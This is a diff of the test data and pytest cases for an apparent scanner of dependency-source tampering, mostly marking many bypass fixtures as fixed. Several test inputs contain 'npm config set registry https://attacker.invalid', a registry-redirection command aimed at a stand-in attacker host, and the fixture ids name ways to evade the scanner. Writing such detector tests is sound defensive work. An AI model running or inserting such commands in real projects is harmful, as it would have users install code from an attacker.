"PR-2", "expected_outcome": "inert", "files": { @@ -1668,7 +1668,7 @@ }, { "id": "control-executable-646b0014c2e3", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1690,7 +1690,7 @@ }, { "id": "control-executable-659e8403fa40", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1712,7 +1712,7 @@ }, { "id": "control-executable-6759742786f7", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1734,7 +1734,7 @@ }, { "id": "control-executable-6c82003c0a1c", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -1744,7 +1744,7 @@ }, { "id": "control-executable-6d5ed7a17939", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1766,7 +1766,7 @@ }, { "id": "control-executable-6d782a90b43e", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1788,7 +1788,7 @@ }, { "id": "control-executable-6fd1e3485b0f", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1810,7 +1810,7 @@ }, { "id": "control-executable-7013ce79e7c2", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -1820,7 +1820,7 @@ }, { "id": "control-executable-71bc8c9b3586", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -1830,7 +1830,7 @@ }, { "id": "control-executable-73ea373fd4bd", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1852,7 +1852,7 @@ }, { "id": "control-executable-79462348bf28", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1874,7 +1874,7 @@ }, { "id": "control-executable-79f40a258ae9", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1896,7 +1896,7 @@ }, { "id": "control-executable-7bcf91445ef7", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1918,7 +1918,7 @@ }, { "id": "control-executable-80fb0146d57b", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1940,7 +1940,7 @@ }, { "id": "control-executable-82dfb54d77c8", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -1950,7 +1950,7 @@ }, { "id": "control-executable-854076c770ef", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1972,7 +1972,7 @@ }, { "id": "control-executable-859454201f44", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1994,7 +1994,7 @@ }, { "id": "control-executable-8bcac9116a20", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2016,7 +2016,7 @@ }, { "id": "control-executable-8c66f8a627b9", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2038,7 +2038,7 @@ }, { "id": "control-executable-8df044dc9831", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2060,7 +2060,7 @@ }, { "id": "control-executable-8e02e0e2e87b", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -2070,7 +2070,7 @@ }, { "id": "control-executable-8f6f212c87bf", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2092,7 +2092,7 @@ }, { "id": "control-executable-8f81697e066c", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2114,7 +2114,7 @@ }, { "id": "control-executable-9170eb95a28e", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2136,7 +2136,7 @@ }, { "id": "control-executable-936d99388c13", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2158,7 +2158,7 @@ }, { "id": "control-executable-93fbf10107eb", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2180,7 +2180,7 @@ }, { "id": "control-executable-944899a5b6d2", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2202,7 +2202,7 @@ }, { "id": "control-executable-97786d6c1d2a", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2224,7 +2224,7 @@ }, { "id": "control-executable-980d1a30b6f4", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2246,7 +2246,7 @@ }, { "id": "control-executable-9b67ddee564e", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2268,7 +2268,7 @@ }, { "id": "control-executable-a003e8d65532", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -2278,7 +2278,7 @@ }, { "id": "control-executable-a6854abd8ea3", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -2288,7 +2288,7 @@ }, { "id": "control-executable-a6fafa828f57", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2310,7 +2310,7 @@ }, { "id": "control-executable-a7ff468995b6", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -2320,7 +2320,7 @@ }, { "id": "control-executable-a8b8dca121b5", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2342,7 +2342,7 @@ }, { "id": "control-executable-ab2467b159c6", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2364,7 +2364,7 @@ }, { "id": "control-executable-ad4c53906048", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2386,7 +2386,7 @@ }, { "id": "control-executable-affe10056482", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2408,7 +2408,7 @@ }, { "id": "control-executable-b085cfedf8d8", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2430,7 +2430,7 @@ }, { "id": "control-executable-b2c0a00639c7", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2452,7 +2452,7 @@ }, { "id": "control-executable-b7c84b6b73c3", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2474,7 +2474,7 @@ }, { "id": "control-executable-b7f661f33e27", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2506,7 +2506,7 @@ }, { "id": "control-executable-b9b06649472f", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -2516,7 +2516,7 @@ }, { "id": "control-executable-bb7d2047451f", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2538,7 +2538,7 @@ }, { "id": "control-executable-bbe13f886c21", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2560,7 +2560,7 @@ }, { "id": "control-executable-be275dcc6e16", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2582,7 +2582,7 @@ }, { "id": "control-executable-c5745da3b858", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -2592,7 +2592,7 @@ }, { "id": "control-executable-c603893923b7", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2614,7 +2614,7 @@ }, { "id": "control-executable-c63a2ab801a5", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -2624,7 +2624,7 @@ }, { "id": "control-executable-c6dcda944096", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2646,7 +2646,7 @@ }, { "id": "control-executable-c81fd8a927c2", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2668,7 +2668,7 @@ }, { "id": "control-executable-c9adad9736a3", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2690,7 +2690,7 @@ }, { "id": "control-executable-ca5447f9668d", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2712,7 +2712,7 @@ }, { "id": "control-executable-caf3bccc61a1", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2734,7 +2734,7 @@ }, { "id": "control-executable-cbf0536983c5", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2756,7 +2756,7 @@ }, { "id": "control-executable-cdedb8e898c4", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2778,7 +2778,7 @@ }, { "id": "control-executable-cf7e0912afe9", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2800,7 +2800,7 @@ }, { "id": "control-executable-d0dcfe827175", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2822,7 +2822,7 @@ }, { "id": "control-executable-d10454ae83f5", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2844,7 +2844,7 @@ }, { "id": "control-executable-d2d719b6690d", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2866,7 +2866,7 @@ }, { "id": "control-executable-d476346c2e2d", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2888,7 +2888,7 @@ }, { "id": "control-executable-dab4dccfc09a", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -2898,7 +2898,7 @@ }, { "id": "control-executable-dea727af8cd8", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2920,7 +2920,7 @@ }, { "id": "control-executable-df9215ffb734", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -2930,7 +2930,7 @@ }, { "id": "control-executable-e0813e25d533", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -2950,7 +2950,7 @@ }, { "id": "control-executable-e193d528d904", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2972,7 +2972,7 @@ }, { "id": "control-executable-e39ed8a577da", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2994,7 +2994,7 @@ }, { "id": "control-executable-e3a6b1c29a01", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -3016,7 +3016,7 @@ }, { "id": "control-executable-e58f045aaeda", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -3038,7 +3038,7 @@ }, { "id": "control-executable-eae4d42b1ee5", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -3060,7 +3060,7 @@ }, { "id": "control-executable-ec5107986bc5", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -3082,7 +3082,7 @@ }, { "id": "control-executable-f5aaaf82b8a7", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -3102,7 +3102,7 @@ }, { "id": "control-executable-f8fdeea1d816", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { diff --git a/tests/nodes/analyzers/data/sc10_findings.json b/tests/nodes/analyzers/data/sc10_findings.json index 3ecc336f..d98b95eb 100644 --- a/tests/nodes/analyzers/data/sc10_findings.json +++ b/tests/nodes/analyzers/data/sc10_findings.json @@ -408,7 +408,7 @@ }, { "id": "no-logical-line-joining-bypass", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -545,7 +545,7 @@ }, { "id": "continuation-assignment-evidence-corruption", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -567,7 +567,7 @@ }, { "id": "no-logical-line-joining-false-positive", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -577,7 +577,7 @@ }, { "id": "multiline-quoted-string-not-masked", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -587,7 +587,7 @@ }, { "id": "non-shell-line-boundaries", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -597,7 +597,7 @@ }, { "id": "npm-absolute-path-executable", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -619,7 +619,7 @@ }, { "id": "exec-allowlist-path-qualified-and-versioned", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -641,7 +641,7 @@ }, { "id": "path-qualified-command-word", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -674,7 +674,7 @@ }, { "id": "ampersand-not-a-control-operator", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -718,7 +718,7 @@ }, { "id": "reserved-words-in-command-position", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -795,7 +795,7 @@ }, { "id": "single-line-function-definition", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -828,7 +828,7 @@ }, { "id": "leading-redirection-prefix", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -861,7 +861,7 @@ }, { "id": "case-arm-pattern-forms", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -894,7 +894,7 @@ }, { "id": "redirection-word-consumed-as-destination", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -916,7 +916,7 @@ }, { "id": "redirection-fd-prefixed-silences-finding", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -938,7 +938,7 @@ }, { "id": "npm-yarn-wrapper-corepack-npx", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -960,7 +960,7 @@ }, { "id": "npm-nested-shell-string", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -982,7 +982,7 @@ }, { "id": "exec-preserving-prefix-wrappers", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1004,7 +1004,7 @@ }, { "id": "string-to-argv-execution", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1048,7 +1048,7 @@ }, { "id": "wrapper-option-allowlist-fails-to-silent", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1092,7 +1092,7 @@ }, { "id": "npm-flags-before-operands", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1114,7 +1114,7 @@ }, { "id": "yarn-flags-before-operands", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1136,7 +1136,7 @@ }, { "id": "flag-between-operands-corrupts-destination", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1158,7 +1158,7 @@ }, { "id": "npm-multi-pair-second-destination-dropped", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1191,7 +1191,7 @@ }, { "id": "npm-yarn-registry-cli-flag-unmodeled", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1213,7 +1213,7 @@ }, { "id": "yarn-npmscopes-command-form", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1235,7 +1235,7 @@ }, { "id": "npm-flag-before-subcommand", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1257,7 +1257,7 @@ }, { "id": "npm-subcommand-aliases", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1279,7 +1279,7 @@ }, { "id": "npm-argv-terminator", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1301,7 +1301,7 @@ }, { "id": "pnpm-unmodeled", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1323,7 +1323,7 @@ }, { "id": "pip-config-set-early-return-non-global-key", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1345,7 +1345,7 @@ }, { "id": "pip-config-file-option-before-subcommand", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1367,7 +1367,7 @@ }, { "id": "poetry-global-options-before-subcommand", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1389,7 +1389,7 @@ }, { "id": "poetry-config-local-flag-before-key", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1411,7 +1411,7 @@ }, { "id": "poetry-option-operand-consumed-multi", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1433,7 +1433,7 @@ }, { "id": "cargo-has-no-command-branch", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1455,7 +1455,7 @@ }, { "id": "pip-short-option-bundling", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1477,7 +1477,7 @@ }, { "id": "maven-settings-file-flag-and-unrecognised-filename", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1500,7 +1500,7 @@ }, { "id": "uv-entirely-uncovered", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1522,7 +1522,7 @@ }, { "id": "pip-long-option-abbreviation", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1544,7 +1544,7 @@ }, { "id": "option-before-operand-fixed-argv-index", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1588,7 +1588,7 @@ }, { "id": "placeholder-destination-reported-as-resolved", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -1598,7 +1598,7 @@ }, { "id": "maven-altdeploymentrepository", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -1608,7 +1608,7 @@ }, { "id": "heredoc-noncat-writer", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1630,7 +1630,7 @@ }, { "id": "heredoc-compound-command-prefix", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1652,7 +1652,7 @@ }, { "id": "unterminated-heredoc-write-missed", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1674,7 +1674,7 @@ }, { "id": "heredoc-command-prefix", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1696,7 +1696,7 @@ }, { "id": "heredoc-here-string", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1718,7 +1718,7 @@ }, { "id": "heredoc-clobber-override", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1740,7 +1740,7 @@ }, { "id": "heredoc-amp-redirect", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1762,7 +1762,7 @@ }, { "id": "heredoc-segment-nonzero", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1784,7 +1784,7 @@ }, { "id": "heredoc-second-on-line", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1806,7 +1806,7 @@ }, { "id": "heredoc-line-continuation", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1828,7 +1828,7 @@ }, { "id": "heredoc-dynamic-target-var", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1850,7 +1850,7 @@ }, { "id": "heredoc-delim-backslash-newline-bypass", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1872,7 +1872,7 @@ }, { "id": "heredoc-async-ampersand", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1894,7 +1894,7 @@ }, { "id": "npmrc-global-path-no-dot", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1916,7 +1916,7 @@ }, { "id": "unterminated-heredoc-body-executed", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -1926,7 +1926,7 @@ }, { "id": "heredoc-delim-backslash-newline-fp", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -1936,7 +1936,7 @@ }, { "id": "heredoc-pipe-to-writer", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "limitation", "files": { @@ -1954,7 +1954,7 @@ }, { "id": "markdown-tilde-fence", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1976,7 +1976,7 @@ }, { "id": "markdown-four-backtick-fence", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1998,7 +1998,7 @@ }, { "id": "markdown-fence-language-set-exact", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -2020,7 +2020,7 @@ }, { "id": "markdown-4tick-nested-inner-fence", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -2030,7 +2030,7 @@ }, { "id": "markdown-untagged-code-blocks", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "limitation", "files": { diff --git a/tests/nodes/analyzers/test_dependency_sources.py b/tests/nodes/analyzers/test_dependency_sources.py index 34fa8bca..9d4d5825 100644 --- a/tests/nodes/analyzers/test_dependency_sources.py +++ b/tests/nodes/analyzers/test_dependency_sources.py @@ -125,39 +125,50 @@ def test_analysis_exposes_applicable_and_inspected_config_spans() -> None: @pytest.mark.parametrize( - ("path", "content", "executable_paths", "expected_ranges"), + ( + "path", + "content", + "executable_paths", + "expected_finding_lines", + "expected_limitation", + ), [ ( "scripts/bootstrap.sh", "npm config set registry https://attacker.invalid\n", frozenset(), - [(1, 2)], + [1], + None, ), ( "container/Dockerfile.release", "FROM python:3.12\n run npm config set registry https://attacker.invalid\n", frozenset(), - [(1, 3)], + [], + ("dependency_source_parse_incomplete", 1, 2), ), ( "build/rules.mk", "install:\n\tnpm config set registry https://attacker.invalid \\\n" " --continued\n\techo done\nnotes:\n prose\n", frozenset(), - [(2, 4)], + [], + ("dependency_source_parse_incomplete", 1, 6), ), ( "docs/setup.md", "before\n ~~~~bash title=x\nnpm config set registry https://attacker.invalid\n" " ~~~~~\nafter\n", frozenset(), - [(2, 4)], + [], + ("unscanned_executable_content", 2, 4), ), ( "archive.zip!/bin/runner", "npm config set registry https://attacker.invalid\n", frozenset({"archive.zip!/bin/runner"}), - [(1, 2)], + [], + ("dependency_source_parse_incomplete", 1, 1), ), ], ids=("shell", "docker", "make", "markdown", "nested-executable"), @@ -166,21 +177,23 @@ def test_structural_executable_surfaces_are_localized_without_guessing_commands( path: str, content: str, executable_paths: frozenset[str], - expected_ranges: list[tuple[int, int]], + expected_finding_lines: list[int], + expected_limitation: tuple[str, int, int] | None, ) -> None: analysis = _analyze( {path: content}, executable_paths=executable_paths, ) - assert analysis.findings == () + assert [finding.start_line for finding in analysis.findings] == expected_finding_lines assert [ (item.reason.value, item.path, item.start_line, item.end_line) for item in analysis.limitations - ] == [ - ("unscanned_executable_content", path, start_line, end_line) - for start_line, end_line in expected_ranges - ] + ] == ( + [] + if expected_limitation is None + else [(expected_limitation[0], path, expected_limitation[1], expected_limitation[2])] + ) assert "attacker.invalid" not in repr(analysis.limitations) @@ -432,13 +445,82 @@ def test_pip_double_dash_value_has_an_exact_utf8_byte_span() -> None: ) assert parsed.limitations == () - assert len(parsed.changes) == 1 - assert (parsed.changes[0].span.start_byte, parsed.changes[0].span.end_byte) == ( + assert len(parsed.candidates) == 1 + assert (parsed.candidates[0].span.start_byte, parsed.candidates[0].span.end_byte) == ( len(prefix.encode()), len(f"{prefix}{destination}".encode()), ) +def test_direct_parsers_return_unreserved_candidates_before_canonical_suppression() -> None: + module = importlib.import_module("skillspector.dependency_sources") + content = "registry=https://registry.npmjs.org/\n" + budget = DependencyWorkBudget() + + parsed = module._parse_file( + ".npmrc", + content, + content.encode(), + budget.for_file(".npmrc"), + ) + + assert parsed.limitations == () + assert len(parsed.candidates) == 1 + assert parsed.candidates[0].canonical_default is True + assert parsed.candidates[0].producer_unit_id is None + assert budget.used(DependencyWorkResource.EMITTED_CHANGES) == 0 + assert budget.used(DependencyWorkResource.FINDING_OUTPUT_RECORDS) == 0 + + +def test_semantic_sink_dedup_prefers_exact_before_canonical_suppression() -> None: + module = importlib.import_module("skillspector.dependency_sources") + contracts = importlib.import_module("skillspector.dependency_source_types") + span = contracts.SourceSpan("scripts/setup.sh", 10, 20, 2, 2) + values = { + "ecosystem": contracts.DependencyEcosystem.NPM, + "surface": contracts.DependencySourceSurface.COMMAND, + "operation": contracts.DependencySourceOperation.SET, + "scope": contracts.DependencySourceScope.GLOBAL, + "span": span, + "producer_unit_id": "a" * 32, + } + recovered = contracts.DependencySourceCandidate( + **values, + destination="https://packages.example.invalid", + destination_status=contracts.DestinationStatus.RESOLVED, + rank=contracts.DependencyCandidateRank.RECOVERED, + canonical_default=False, + ) + exact_values = { + **values, + "span": contracts.SourceSpan("scripts/setup.sh", 10, 20, 9, 10), + } + exact = contracts.DependencySourceCandidate( + **exact_values, + destination="https://registry.npmjs.org/", + destination_status=contracts.DestinationStatus.RESOLVED, + rank=contracts.DependencyCandidateRank.EXACT, + canonical_default=True, + ) + + changes = module._finalize_candidates((recovered, exact, exact)) + + assert changes == () + + +def test_command_placeholder_suppression_is_gated_to_code_owned_documentation() -> None: + token = "INDEX_URL_PLACEHOLDER" + documented = _analyze({"README.md": f"```bash\npip config set global.index-url {token}\n```\n"}) + executable = _analyze( + {"scripts/setup.sh": f"#!/bin/sh\npip config set global.index-url {token}\n"} + ) + + assert documented.findings == () + assert documented.limitations == () + assert len(executable.findings) == 1 + assert executable.findings[0].evidence["destination"] == "[REDACTED_URL]" + + def test_pip_default_only_does_not_create_an_effective_concrete_source() -> None: analysis = _analyze( {"pip.conf": ("[DEFAULT]\nindex-url=https://packages.example.invalid/simple\n")} @@ -619,8 +701,8 @@ def test_source_spans_use_utf8_bytes_and_only_lf_physical_line_boundaries( ) assert parsed.limitations == () - assert len(parsed.changes) == 1 - span = parsed.changes[0].span + assert len(parsed.candidates) == 1 + span = parsed.candidates[0].span assert (span.start_byte, span.end_byte) == (expected_start, expected_end) assert (span.start_line, span.end_line) == (expected_line, expected_line) @@ -824,7 +906,7 @@ def test_scan_wide_config_node_exhaustion_is_reported_without_a_partial_result() _BUDGET_LITERAL = "https://packages.example.invalid/simple" -@pytest.mark.parametrize("resource", ["retained", "records", "changes"]) +@pytest.mark.parametrize("resource", ["retained", "records"]) def test_candidate_budget_exact_limits_still_emit_the_finding(resource: str) -> None: budget = DependencyWorkBudget() if resource == "retained": @@ -836,8 +918,6 @@ def test_candidate_budget_exact_limits_still_emit_the_finding(resource: str) -> ) elif resource == "records": assert budget.charge_source_records(MAX_DEPENDENCY_SOURCE_RECORDS - 1) is None - else: - assert budget.reserve_source_changes(MAX_DEPENDENCY_SOURCE_CHANGES - 1) is None analysis = _analyze({".npmrc": f"registry={_BUDGET_LITERAL}\n"}, budget=budget) @@ -845,7 +925,7 @@ def 